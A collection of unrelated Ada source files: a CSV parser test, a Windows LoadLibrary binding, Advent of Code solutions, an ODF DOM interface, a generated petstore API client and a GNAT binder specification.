----------------------------------------------------------------------- -- serialize-io-csv-tests -- Unit tests for CSV parser -- Copyright (C) 2011, 2016, 2021 Stephane Carrez -- Written by Stephane Carrez ([email protected]) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Streams.Stream_IO; with Util.Test_Caller; with Util.Streams.Files; with Util.Serialize.Mappers.Tests; with Util.Serialize.IO.JSON.Tests; package body Util.Serialize.IO.CSV.Tests is package Caller is new Util.Test_Caller (Test, "Serialize.IO.CSV"); procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is begin Caller.Add_Test (Suite, "Test Util.Serialize.IO.CSV.Parse (parse Ok)", Test_Parser'Access); Caller.Add_Test (Suite, "Test Util.Serialize.IO.CSV.Write", Test_Output'Access); end Add_Tests; -- ------------------------------ -- Check various (basic) JSON valid strings (no mapper). -- ------------------------------ procedure Test_Parser (T : in out Test) is use Util.Serialize.Mappers.Tests; procedure Check_Parse (Content : in String; Expect : in Integer); Mapping : aliased Util.Serialize.Mappers.Tests.Map_Test_Mapper.Mapper; Vector_Mapper : aliased Util.Serialize.Mappers.Tests.Map_Test_Vector_Mapper.Mapper; procedure Check_Parse (Content : in String; Expect : in Integer) is P : Parser; Value : aliased Map_Test_Vector.Vector; Mapper : Util.Serialize.Mappers.Processing; begin Mapper.Add_Mapping ("", Vector_Mapper'Unchecked_Access); Map_Test_Vector_Mapper.Set_Context (Mapper, Value'Unchecked_Access); P.Parse_String (Content, Mapper); T.Assert (not P.Has_Error, "Parse error for: " & Content); Util.Tests.Assert_Equals (T, 1, Integer (Value.Length), "Invalid result length"); Util.Tests.Assert_Equals (T, Expect, Integer (Value.Element (1).Value), "Invalid value"); end Check_Parse; HDR : constant String := "name,status,value,bool" & ASCII.CR & ASCII.LF; begin Mapping.Add_Mapping ("name", FIELD_NAME); Mapping.Add_Mapping ("value", FIELD_VALUE); Mapping.Add_Mapping ("status", FIELD_BOOL); Mapping.Add_Mapping ("bool", FIELD_BOOL); Vector_Mapper.Set_Mapping (Mapping'Unchecked_Access); Check_Parse (HDR & "joe,false,23,true", 23); Check_Parse (HDR & "billy,false,""12"",true", 12); Check_Parse (HDR & """John Potter"",false,""1234"",true", 1234); Check_Parse (HDR & """John" & ASCII.CR & "Potter"",False,""3234"",True", 3234); Check_Parse (HDR & """John" & ASCII.LF & "Potter"",False,""3234"",True", 3234); end Test_Parser; -- ------------------------------ -- Test the CSV output stream generation. -- ------------------------------ procedure Test_Output (T : in out Test) is File : aliased Util.Streams.Files.File_Stream; Stream : Util.Serialize.IO.CSV.Output_Stream; Expect : constant String := Util.Tests.Get_Path ("regtests/expect/test-stream.csv"); Path : constant String := Util.Tests.Get_Test_Path ("test-stream.csv"); begin File.Create (Mode => Ada.Streams.Stream_IO.Out_File, Name => Path); Stream.Initialize (Output => File'Unchecked_Access, Size => 10000); Util.Serialize.IO.JSON.Tests.Write_Stream (Stream); Stream.Close; Util.Tests.Assert_Equal_Files (T => T, Expect => Expect, Test => Path, Message => "CSV output serialization"); end Test_Output; end Util.Serialize.IO.CSV.Tests;
reznikmm/matreshka
Ada
3,934
adb
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Localization, Internationalization, Globalization for Ada -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2015, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with League.Strings.Internals; package body Matreshka.Internals.Windows.Kernel is function LoadLibrary (lpFileName : LPCWSTR) return HMODULE with Import => True, Convention => StdCall, External_Name => "LoadLibraryW"; ----------------- -- LoadLibrary -- ----------------- function LoadLibrary (File_Name : League.Strings.Universal_String) return HMODULE is begin return LoadLibrary (League.Strings.Internals.Internal (File_Name).Value (0)'Access); end LoadLibrary; end Matreshka.Internals.Windows.Kernel;
jwarwick/aoc_2020
Ada
3,675
adb
with Ada.Text_IO; with Ada.Strings.Unbounded; use Ada.Strings.Unbounded; with Ada.Strings.Fixed; use Ada.Strings.Fixed; package body VM is package TIO renames Ada.Text_IO; function instruction_index_hash(key : in Instruction_Index) return Hash_Type is begin return Hash_Type(key); end instruction_index_hash; procedure print(inst : in Op_Record) is begin TIO.put_line(" " & Instruction_Index'Image(inst.Index) & " " & Op'Image(inst.Ins) & " " & Integer'Image(inst.Arg)); end print; procedure print(v : in VM) is begin TIO.put_line("PC: " & Instruction_Index'Image(v.PC) & ", Acc: " & Integer'Image(v.Acc)); for i in v.Instructions.Iterate loop print(Element(i)); end loop; end print; procedure swap_nop_jmp(idx : in Instruction_Index; v : in out VM) is begin if not v.Instructions.contains(idx) then raise VM_Exception with "Invalid PC"; end if; declare curr : constant Op_Record := v.Instructions(idx); begin case curr.Ins is when nop => v.Instructions.replace(idx, Op_Record'(Ins => jmp, Arg => curr.Arg, Index => curr.Index)); when jmp => v.Instructions.replace(idx, Op_Record'(Ins => nop, Arg => curr.Arg, Index => curr.Index)); when others => null; end case; end; end swap_nop_jmp; function parse_file(filename : in String) return Op_Hashed_Maps.Map is file : TIO.File_Type; map : Op_Hashed_Maps.Map := Empty_Map; n : Instruction_Index := 0; begin TIO.open(File => file, Mode => TIO.In_File, Name => filename); while not TIO.end_of_file(file) loop declare line : constant String := TIO.get_line(file); first_space : constant Natural := index(line, " "); cmd : constant String := line(line'first .. first_space-1); opr : constant Op := Op'Value(cmd); num : constant Integer := Integer'Value(line(first_space+1 .. line'last)); rec : Op_Record(Ins => opr); begin rec.Arg := num; rec.Index := n; map.insert(n, rec); n := n+1; end; end loop; TIO.close(file); map.insert(n, Op_Record'(Ins => halt, Index => n)); return map; end parse_file; function step(v : in out VM) return Boolean is begin if not v.Instructions.contains(v.pc) then raise VM_Exception with "Invalid PC"; end if; declare curr : constant Op_Record := v.Instructions(v.PC); begin case curr.Ins is when nop => v.PC := v.PC + 1; when acc => v.Acc := v.Acc + curr.Arg; v.PC := v.PC + 1; when jmp => v.PC := Instruction_Index(Integer(v.PC) + curr.Arg); when halt => v.Halted := true; return true; end case; end; return false; end step; function eval(v : in out VM; max_steps : in Positive) return Boolean is begin for i in 1..max_steps loop if step(v) then return true; end if; end loop; return false; end eval; procedure reset(v : in out VM) is begin v.Acc := 0; v.PC := 0; v.Halted := false; end reset; function load_file(file : in String) return VM is m : VM; begin m.Source := to_unbounded_string(file); m.Instructions := parse_file(file); reset(m); return m; end load_file; function acc(v : in VM) return Integer is begin return v.Acc; end acc; function pc(v : in VM) return Instruction_Index is begin return v.PC; end pc; function instructions(v : in VM) return Count_Type is begin return length(v.Instructions); end instructions; end VM;
reznikmm/matreshka
Ada
3,764
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with XML.DOM.Attributes; package ODF.DOM.Style_Text_Underline_Mode_Attributes is pragma Preelaborate; type ODF_Style_Text_Underline_Mode_Attribute is limited interface and XML.DOM.Attributes.DOM_Attribute; type ODF_Style_Text_Underline_Mode_Attribute_Access is access all ODF_Style_Text_Underline_Mode_Attribute'Class with Storage_Size => 0; end ODF.DOM.Style_Text_Underline_Mode_Attributes;
thorstel/Advent-of-Code-2018
Ada
3,439
adb
with Ada.Text_IO; use Ada.Text_IO; procedure Day06 is type Coordinate is record X : Integer; Y : Integer; end record; function Manhattan_Distance (A : Coordinate; B : Coordinate) return Integer is (abs (B.X - A.X) + abs (B.Y - A.Y)); -- Input coordinates Coordinates : constant array (Positive range <>) of Coordinate := ((137, 282), (229, 214), (289, 292), (249, 305), (90, 289), (259, 316), (134, 103), (96, 219), (92, 308), (269, 59), (141, 132), (71, 200), (337, 350), (40, 256), (236, 105), (314, 219), (295, 332), (114, 217), (43, 202), (160, 164), (245, 303), (339, 277), (310, 316), (164, 44), (196, 335), (228, 345), (41, 49), (84, 298), (43, 51), (158, 347), (121, 51), (176, 187), (213, 120), (174, 133), (259, 263), (210, 205), (303, 233), (265, 98), (359, 332), (186, 340), (132, 99), (174, 153), (206, 142), (341, 162), (180, 166), (152, 249), (221, 118), (95, 227), (152, 186), (72, 330)); Closest_Count : array (Coordinates'Range) of Integer := (others => 0); X_Begin : Integer := Integer'Last; X_End : Integer := Integer'First; Y_Begin : Integer := Integer'Last; Y_End : Integer := Integer'First; begin -- Determine the borders of the Grid. for C of Coordinates loop X_Begin := Integer'Min (C.X, X_Begin); X_End := Integer'Max (C.X, X_End); Y_Begin := Integer'Min (C.Y, Y_Begin); Y_End := Integer'Max (C.Y, Y_End); end loop; -- Part 1 for X in X_Begin .. X_End loop for Y in Y_Begin .. Y_End loop declare Min_Distance : Integer := Integer'Last; Min_Index : Positive := 1; Min_Count : Natural := 0; Tmp_Distance : Integer; begin for I in Coordinates'Range loop Tmp_Distance := Manhattan_Distance (Coordinates (I), (X, Y)); if Tmp_Distance < Min_Distance then Min_Distance := Tmp_Distance; Min_Count := 1; Min_Index := I; elsif Tmp_Distance = Min_Distance then Min_Count := Min_Count + 1; end if; end loop; -- Coordinate must not be on the border of the grid. if X = X_Begin or X = X_End or Y = Y_Begin or Y = Y_End then Closest_Count (Min_Index) := -1; elsif Min_Count = 1 and Closest_Count (Min_Index) >= 0 then Closest_Count (Min_Index) := Closest_Count (Min_Index) + 1; end if; end; end loop; end loop; declare Max_Count : Natural := 0; begin for I in Coordinates'Range loop if Closest_Count (I) > Max_Count then Max_Count := Closest_Count (I); end if; end loop; Put_Line ("Part 1 =" & Natural'Image (Max_Count)); end; -- Part 2 declare Region_Size : Natural := 0; Sum : Integer; begin for X in X_Begin .. X_End loop for Y in Y_Begin .. Y_End loop Sum := 0; for C of Coordinates loop Sum := Sum + Manhattan_Distance ((X, Y), C); end loop; if Sum < 10000 then Region_Size := Region_Size + 1; end if; end loop; end loop; Put_Line ("Part 2 =" & Natural'Image (Region_Size)); end; end Day06;
oxidecomputer/openapi-generator
Ada
10,492
adb
with Samples.Petstore.Clients; with Samples.Petstore.Models; with Swagger; with Util.Http.Clients.Curl; with Ada.Text_IO; with Ada.Command_Line; with Ada.Calendar.Formatting; with Ada.Exceptions; procedure Petstore is use Ada.Text_IO; procedure Usage; procedure Print_Pet (Pet : in Samples.Petstore.Models.Pet_Type); procedure Print_Order (Order : in Samples.Petstore.Models.Order_Type); procedure Get_User (C : in out Samples.Petstore.Clients.Client_Type); procedure Get_Pet (C : in out Samples.Petstore.Clients.Client_Type); procedure Get_Order (C : in out Samples.Petstore.Clients.Client_Type); procedure List_Inventory (C : in out Samples.Petstore.Clients.Client_Type); procedure List_Pet (C : in out Samples.Petstore.Clients.Client_Type); procedure Delete_Pet (C : in out Samples.Petstore.Clients.Client_Type); procedure Delete_User (C : in out Samples.Petstore.Clients.Client_Type); procedure Delete_Order (C : in out Samples.Petstore.Clients.Client_Type); procedure Add_Pet (C : in out Samples.Petstore.Clients.Client_Type); procedure Login (C : in out Samples.Petstore.Clients.Client_Type; Username : in String; Password : in String); Server : constant Swagger.UString := Swagger.To_UString ("http://petstore.swagger.io/v2"); Arg_Count : constant Natural := Ada.Command_Line.Argument_Count; Arg : Positive := 1; procedure Usage is begin Put_Line ("Usage: petstore {list|add|rm|update} {user|order|pet} {params}..."); Put_Line (" get pet <id>... Print pet given its id"); Put_Line (" get user <name>... Print user given its name"); Put_Line (" get order <id>... Print order given its id"); Put_Line (" list pet <status>... List the pets with the given status"); Put_Line (" list inventory List the inventory"); Put_Line (" add pet <id> <name> <status> <category-id> <category-name"); Put_Line (" Add a pet"); Put_Line (" rm user <name>... Remove user with given name"); Put_Line (" rm order <id>... Remove order with given id"); Put_Line (" login <username> <password> Use login operation to get a session"); end Usage; procedure Print_Pet (Pet : in Samples.Petstore.Models.Pet_Type) is Need_Indent : Boolean := False; begin Put_Line ("Id : " & Swagger.Long'Image (Pet.Id.Value)); Put_Line ("Name : " & Swagger.To_String (Pet.Name)); Put_Line ("Status : " & Swagger.To_String (Pet.Status.Value)); if not Pet.Tags.Is_Empty then Put ("Tags : "); for Tag of Pet.Tags loop Put_Line ((if Need_Indent then " " else "") & Swagger.To_String (Tag.Name.Value)); Need_Indent := True; end loop; end if; if not Pet.Photo_Urls.Is_Empty then Need_Indent := False; Put ("URLs : "); for Url of Pet.Photo_Urls loop Put_Line ((if Need_Indent then " " else "") & Url); Need_Indent := True; end loop; end if; end Print_Pet; procedure Print_Order (Order : in Samples.Petstore.Models.Order_Type) is begin Put_Line ("Id : " & Swagger.Long'Image (Order.Id.Value)); Put_Line ("Pet id : " & Swagger.Long'Image (Order.Pet_Id.Value)); Put_Line ("Quantity : " & Integer'Image (Order.Quantity.Value)); Put_Line ("Status : " & Swagger.To_String (Order.Status.Value)); Put_Line ("Ship date : " & Ada.Calendar.Formatting.Image (Order.Ship_Date.Value)); Put_Line ("Complete : " & Boolean'Image (Order.Complete.Value)); end Print_Order; procedure Get_User (C : in out Samples.Petstore.Clients.Client_Type) is User : Samples.Petstore.Models.User_Type; begin for I in Arg .. Arg_Count loop C.Get_User_By_Name (Swagger.To_UString (Ada.Command_Line.Argument (I)), User); Put_Line ("Id : " & Swagger.Long'Image (User.Id.Value)); Put_Line ("Username : " & Swagger.To_String (User.Username.Value)); Put_Line ("Firstname: " & Swagger.To_String (User.First_Name.Value)); Put_Line ("Lastname : " & Swagger.To_String (User.Last_Name.Value)); Put_Line ("Email : " & Swagger.To_String (User.Email.Value)); Put_Line ("Password : " & Swagger.To_String (User.Password.Value)); Put_Line ("Phone : " & Swagger.To_String (User.Phone.Value)); end loop; end Get_User; procedure Get_Pet (C : in out Samples.Petstore.Clients.Client_Type) is Pet : Samples.Petstore.Models.Pet_Type; begin C.Set_Server (Server); for I in Arg .. Arg_Count loop declare P : constant String := Ada.Command_Line.Argument (I); begin C.Get_Pet_By_Id (Swagger.Long'Value (P), Pet); Print_Pet (Pet); end; end loop; end Get_Pet; procedure Get_Order (C : in out Samples.Petstore.Clients.Client_Type) is Order : Samples.Petstore.Models.Order_Type; begin C.Set_Server (Server); for I in Arg .. Arg_Count loop declare P : constant String := Ada.Command_Line.Argument (I); begin C.Get_Order_By_Id (Swagger.Long'Value (P), Order); Print_Order (Order); end; end loop; end Get_Order; procedure List_Pet (C : in out Samples.Petstore.Clients.Client_Type) is Pets : Samples.Petstore.Models.Pet_Type_Vectors.Vector; begin for I in Arg .. Arg_Count loop declare Status : Swagger.UString_Vectors.Vector; P : constant String := Ada.Command_Line.Argument (I); begin Status.Append (New_Item => P); C.Find_Pets_By_Status (Status, Pets); for Pet of Pets loop Print_Pet (Pet); end loop; end; end loop; end List_Pet; procedure List_Inventory (C : in out Samples.Petstore.Clients.Client_Type) is List : Swagger.Integer_Map; Iter : Swagger.Integer_Maps.Cursor; begin C.Get_Inventory (List); Ada.Text_IO.Put_Line ("Inventory size " & Natural'Image (Natural (List.Length))); Iter := List.First; while Swagger.Integer_Maps.Has_Element (Iter) loop Put (Swagger.Integer_Maps.Key (Iter)); Set_Col (70); Put_Line (Natural'Image (Swagger.Integer_Maps.Element (Iter))); Swagger.Integer_Maps.Next (Iter); end loop; end List_Inventory; procedure Login (C : in out Samples.Petstore.Clients.Client_Type; Username : in String; Password : in String) is Session : Swagger.UString; begin C.Login_User (Swagger.To_UString (Username), Swagger.To_UString (Password), Session); Put_Line ("New session : " & Swagger.To_String (Session)); end Login; procedure Add_Pet (C : in out Samples.Petstore.Clients.Client_Type) is Pet : Samples.Petstore.Models.Pet_Type; begin if Arg_Count /= 7 then Put_Line ("Missing some arguments for add pet command"); Usage; return; end if; Pet.Id := (Is_Null => False, Value => Swagger.Long'Value (Ada.Command_Line.Argument (Arg))); Pet.Name := Swagger.To_UString (Ada.Command_Line.Argument (Arg + 1)); Pet.Status := (Is_Null => False, Value => Swagger.To_UString (Ada.Command_Line.Argument (Arg + 2))); Pet.Category.Id := (Is_Null => False, Value => Swagger.Long'Value (Ada.Command_Line.Argument (Arg + 3))); Pet.Category.Name := (Is_Null => False, Value => Swagger.To_UString (Ada.Command_Line.Argument (Arg + 4))); C.Add_Pet (Pet); end Add_Pet; procedure Delete_User (C : in out Samples.Petstore.Clients.Client_Type) is begin for I in Arg .. Arg_Count loop C.Delete_User (Username => Swagger.To_UString (Ada.Command_Line.Argument (I))); end loop; end Delete_User; procedure Delete_Order (C : in out Samples.Petstore.Clients.Client_Type) is begin for I in Arg .. Arg_Count loop C.Delete_Order (Swagger.To_UString (Ada.Command_Line.Argument (I))); end loop; end Delete_Order; procedure Delete_Pet (C : in out Samples.Petstore.Clients.Client_Type) is Key : constant Swagger.UString := Swagger.To_UString (Ada.Command_Line.Argument (Arg)); begin Arg := Arg + 1; for I in Arg .. Arg_Count loop C.Delete_Pet (Swagger.Long'Value (Ada.Command_Line.Argument (I)), (Is_Null => False, Value => Key)); end loop; end Delete_Pet; begin if Arg_Count <= 1 then Usage; return; end if; Util.Http.Clients.Curl.Register; declare Command : constant String := Ada.Command_Line.Argument (Arg); Item : constant String := Ada.Command_Line.Argument (Arg + 1); C : Samples.Petstore.Clients.Client_Type; begin C.Set_Server (Server); Arg := Arg + 2; if Command = "login" then Login (C, Item, Ada.Command_Line.Argument (Arg)); elsif Command = "get" then if Item = "user" then Get_User (C); elsif Item = "pet" then Get_Pet (C); elsif Item = "order" then Get_Order (C); else Usage; end if; elsif Command = "list" then if Item = "pet" then List_Pet (C); elsif Item = "inventory" then List_Inventory (C); else Usage; end if; elsif Command = "add" then if Item = "pet" then Add_Pet (C); else Usage; end if; elsif Command = "rm" then if Item = "user" then Delete_User (C); elsif Item = "order" then Delete_Order (C); elsif Item = "pet" then Delete_Pet (C); else Usage; end if; elsif Command = "update" then Usage; else Usage; end if; exception when E : Constraint_Error => Put_Line ("Constraint error raised: " & Ada.Exceptions.Exception_Message (E)); end; end Petstore;
1Crazymoney/LearnAda
Ada
14,052
ads
pragma Ada_95; with System; package ada_main is pragma Warnings (Off); gnat_argc : Integer; gnat_argv : System.Address; gnat_envp : System.Address; pragma Import (C, gnat_argc); pragma Import (C, gnat_argv); pragma Import (C, gnat_envp); gnat_exit_status : Integer; pragma Import (C, gnat_exit_status); GNAT_Version : constant String := "GNAT Version: GPL 2015 (20150428-49)" & ASCII.NUL; pragma Export (C, GNAT_Version, "__gnat_version"); Ada_Main_Program_Name : constant String := "_ada_faktor" & ASCII.NUL; pragma Export (C, Ada_Main_Program_Name, "__gnat_ada_main_program_name"); procedure adainit; pragma Export (C, adainit, "adainit"); procedure adafinal; pragma Export (C, adafinal, "adafinal"); function main (argc : Integer; argv : System.Address; envp : System.Address) return Integer; pragma Export (C, main, "main"); type Version_32 is mod 2 ** 32; u00001 : constant Version_32 := 16#61f2e21f#; pragma Export (C, u00001, "faktorB"); u00002 : constant Version_32 := 16#fbff4c67#; pragma Export (C, u00002, "system__standard_libraryB"); u00003 : constant Version_32 := 16#f72f352b#; pragma Export (C, u00003, "system__standard_libraryS"); u00004 : constant Version_32 := 16#3ffc8e18#; pragma Export (C, u00004, "adaS"); u00005 : constant Version_32 := 16#f64b89a4#; pragma Export (C, u00005, "ada__integer_text_ioB"); u00006 : constant Version_32 := 16#f1daf268#; pragma Export (C, u00006, "ada__integer_text_ioS"); u00007 : constant Version_32 := 16#b612ca65#; pragma Export (C, u00007, "ada__exceptionsB"); u00008 : constant Version_32 := 16#1d190453#; pragma Export (C, u00008, "ada__exceptionsS"); u00009 : constant Version_32 := 16#a46739c0#; pragma Export (C, u00009, "ada__exceptions__last_chance_handlerB"); u00010 : constant Version_32 := 16#3aac8c92#; pragma Export (C, u00010, "ada__exceptions__last_chance_handlerS"); u00011 : constant Version_32 := 16#f4ce8c3a#; pragma Export (C, u00011, "systemS"); u00012 : constant Version_32 := 16#a207fefe#; pragma Export (C, u00012, "system__soft_linksB"); u00013 : constant Version_32 := 16#af945ded#; pragma Export (C, u00013, "system__soft_linksS"); u00014 : constant Version_32 := 16#b01dad17#; pragma Export (C, u00014, "system__parametersB"); u00015 : constant Version_32 := 16#8ae48145#; pragma Export (C, u00015, "system__parametersS"); u00016 : constant Version_32 := 16#b19b6653#; pragma Export (C, u00016, "system__secondary_stackB"); u00017 : constant Version_32 := 16#5faf4353#; pragma Export (C, u00017, "system__secondary_stackS"); u00018 : constant Version_32 := 16#39a03df9#; pragma Export (C, u00018, "system__storage_elementsB"); u00019 : constant Version_32 := 16#d90dc63e#; pragma Export (C, u00019, "system__storage_elementsS"); u00020 : constant Version_32 := 16#41837d1e#; pragma Export (C, u00020, "system__stack_checkingB"); u00021 : constant Version_32 := 16#7a71e7d2#; pragma Export (C, u00021, "system__stack_checkingS"); u00022 : constant Version_32 := 16#393398c1#; pragma Export (C, u00022, "system__exception_tableB"); u00023 : constant Version_32 := 16#5ad7ea2f#; pragma Export (C, u00023, "system__exception_tableS"); u00024 : constant Version_32 := 16#ce4af020#; pragma Export (C, u00024, "system__exceptionsB"); u00025 : constant Version_32 := 16#9cade1cc#; pragma Export (C, u00025, "system__exceptionsS"); u00026 : constant Version_32 := 16#37d758f1#; pragma Export (C, u00026, "system__exceptions__machineS"); u00027 : constant Version_32 := 16#b895431d#; pragma Export (C, u00027, "system__exceptions_debugB"); u00028 : constant Version_32 := 16#472c9584#; pragma Export (C, u00028, "system__exceptions_debugS"); u00029 : constant Version_32 := 16#570325c8#; pragma Export (C, u00029, "system__img_intB"); u00030 : constant Version_32 := 16#f6156cf8#; pragma Export (C, u00030, "system__img_intS"); u00031 : constant Version_32 := 16#b98c3e16#; pragma Export (C, u00031, "system__tracebackB"); u00032 : constant Version_32 := 16#6af355e1#; pragma Export (C, u00032, "system__tracebackS"); u00033 : constant Version_32 := 16#9ed49525#; pragma Export (C, u00033, "system__traceback_entriesB"); u00034 : constant Version_32 := 16#f4957a4a#; pragma Export (C, u00034, "system__traceback_entriesS"); u00035 : constant Version_32 := 16#8c33a517#; pragma Export (C, u00035, "system__wch_conB"); u00036 : constant Version_32 := 16#efb3aee8#; pragma Export (C, u00036, "system__wch_conS"); u00037 : constant Version_32 := 16#9721e840#; pragma Export (C, u00037, "system__wch_stwB"); u00038 : constant Version_32 := 16#c2a282e9#; pragma Export (C, u00038, "system__wch_stwS"); u00039 : constant Version_32 := 16#92b797cb#; pragma Export (C, u00039, "system__wch_cnvB"); u00040 : constant Version_32 := 16#e004141b#; pragma Export (C, u00040, "system__wch_cnvS"); u00041 : constant Version_32 := 16#6033a23f#; pragma Export (C, u00041, "interfacesS"); u00042 : constant Version_32 := 16#ece6fdb6#; pragma Export (C, u00042, "system__wch_jisB"); u00043 : constant Version_32 := 16#60740d3a#; pragma Export (C, u00043, "system__wch_jisS"); u00044 : constant Version_32 := 16#28f088c2#; pragma Export (C, u00044, "ada__text_ioB"); u00045 : constant Version_32 := 16#1a9b0017#; pragma Export (C, u00045, "ada__text_ioS"); u00046 : constant Version_32 := 16#10558b11#; pragma Export (C, u00046, "ada__streamsB"); u00047 : constant Version_32 := 16#2e6701ab#; pragma Export (C, u00047, "ada__streamsS"); u00048 : constant Version_32 := 16#db5c917c#; pragma Export (C, u00048, "ada__io_exceptionsS"); u00049 : constant Version_32 := 16#12c8cd7d#; pragma Export (C, u00049, "ada__tagsB"); u00050 : constant Version_32 := 16#ce72c228#; pragma Export (C, u00050, "ada__tagsS"); u00051 : constant Version_32 := 16#c3335bfd#; pragma Export (C, u00051, "system__htableB"); u00052 : constant Version_32 := 16#700c3fd0#; pragma Export (C, u00052, "system__htableS"); u00053 : constant Version_32 := 16#089f5cd0#; pragma Export (C, u00053, "system__string_hashB"); u00054 : constant Version_32 := 16#d25254ae#; pragma Export (C, u00054, "system__string_hashS"); u00055 : constant Version_32 := 16#699628fa#; pragma Export (C, u00055, "system__unsigned_typesS"); u00056 : constant Version_32 := 16#b44f9ae7#; pragma Export (C, u00056, "system__val_unsB"); u00057 : constant Version_32 := 16#793ec5c1#; pragma Export (C, u00057, "system__val_unsS"); u00058 : constant Version_32 := 16#27b600b2#; pragma Export (C, u00058, "system__val_utilB"); u00059 : constant Version_32 := 16#586e3ac4#; pragma Export (C, u00059, "system__val_utilS"); u00060 : constant Version_32 := 16#d1060688#; pragma Export (C, u00060, "system__case_utilB"); u00061 : constant Version_32 := 16#d0c7e5ed#; pragma Export (C, u00061, "system__case_utilS"); u00062 : constant Version_32 := 16#84a27f0d#; pragma Export (C, u00062, "interfaces__c_streamsB"); u00063 : constant Version_32 := 16#8bb5f2c0#; pragma Export (C, u00063, "interfaces__c_streamsS"); u00064 : constant Version_32 := 16#845f5a34#; pragma Export (C, u00064, "system__crtlS"); u00065 : constant Version_32 := 16#431faf3c#; pragma Export (C, u00065, "system__file_ioB"); u00066 : constant Version_32 := 16#53bf6d5f#; pragma Export (C, u00066, "system__file_ioS"); u00067 : constant Version_32 := 16#b7ab275c#; pragma Export (C, u00067, "ada__finalizationB"); u00068 : constant Version_32 := 16#19f764ca#; pragma Export (C, u00068, "ada__finalizationS"); u00069 : constant Version_32 := 16#95817ed8#; pragma Export (C, u00069, "system__finalization_rootB"); u00070 : constant Version_32 := 16#bb3cffaa#; pragma Export (C, u00070, "system__finalization_rootS"); u00071 : constant Version_32 := 16#769e25e6#; pragma Export (C, u00071, "interfaces__cB"); u00072 : constant Version_32 := 16#4a38bedb#; pragma Export (C, u00072, "interfaces__cS"); u00073 : constant Version_32 := 16#ee0f26dd#; pragma Export (C, u00073, "system__os_libB"); u00074 : constant Version_32 := 16#d7b69782#; pragma Export (C, u00074, "system__os_libS"); u00075 : constant Version_32 := 16#1a817b8e#; pragma Export (C, u00075, "system__stringsB"); u00076 : constant Version_32 := 16#8a719d5c#; pragma Export (C, u00076, "system__stringsS"); u00077 : constant Version_32 := 16#09511692#; pragma Export (C, u00077, "system__file_control_blockS"); u00078 : constant Version_32 := 16#f6fdca1c#; pragma Export (C, u00078, "ada__text_io__integer_auxB"); u00079 : constant Version_32 := 16#b9793d30#; pragma Export (C, u00079, "ada__text_io__integer_auxS"); 